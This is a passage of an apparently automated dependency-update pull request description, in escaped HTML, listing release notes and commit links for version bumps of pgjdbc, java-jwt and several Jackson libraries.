[PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.auth0:java-jwt` from 4.5.1 to 4.5.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/releases\"\u003ecom.auth0:java-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.5.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md\"\u003ecom.auth0:java-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/auth0/java-jwt/tree/4.5.2\"\u003e4.5.2\u003c/a\u003e (2026-04-29)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003eFull Changelog\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAdded\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChore: Bump update commons-beanutils dependency \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/761\"\u003e#761\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore: Update Readme with Java 21 \u003ca href=\"https://redirect.github.com/auth0/java-jwt/pull/760\"\u003e#760\u003c/a\u003e (\u003ca href=\"https://github.com/tanya732\"\u003etanya732\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/695fd2bea64b8466b872a9d0c2e7019fee7ac86f\"\u003e\u003ccode\u003e695fd2b\u003c/code\u003e\u003c/a\u003e Release 4.5.2 (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/765\"\u003e#765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/4ac31787e2bb264d346ddb51b54ce4893d51eb18\"\u003e\u003ccode\u003e4ac3178\u003c/code\u003e\u003c/a\u003e Release 4.5.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/d056a79e402d6d6c667a1d5fe9233dd87240da1c\"\u003e\u003ccode\u003ed056a79\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind from 2.21.2 to 2.21.3 in /li...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/37f195a954cce32abd4b4eb212e8b7695781c2bb\"\u003e\u003ccode\u003e37f195a\u003c/code\u003e\u003c/a\u003e Bump com.fasterxml.jackson.core:jackson-databind in /lib\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/dba4c93e2ef37b82b45776d41f8dcbc24df8335a\"\u003e\u003ccode\u003edba4c93\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/761\"\u003e#761\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/84d4c8f383ae7c06e0e53f5bd7d84324ad3bcad9\"\u003e\u003ccode\u003e84d4c8f\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/bump-commons-beanutils\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/5c923d4981ba39c18d530ba3e155c314b6cfd4e1\"\u003e\u003ccode\u003e5c923d4\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow (\u003ca href=\"https://redirect.github.com/auth0/java-jwt/issues/762\"\u003e#762\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/09a4da58242a52bd937c7ac1b2914adc8a80e73c\"\u003e\u003ccode\u003e09a4da5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into chore/add-sca-scan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/ef47e64ba46e5bb39abc68ddbfcd49f61cac4ec7\"\u003e\u003ccode\u003eef47e64\u003c/code\u003e\u003c/a\u003e Chore: Add SCA scan workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/auth0/java-jwt/commit/3fcfbcb3bed8a66ddb37be63bb3cfea7b873312b\"\u003e\u003ccode\u003e3fcfbcb\u003c/code\u003e\u003c/a\u003e Chore: Bump update commons-beanutils dependency\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/auth0/java-jwt/compare/4.5.1...4.5.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca 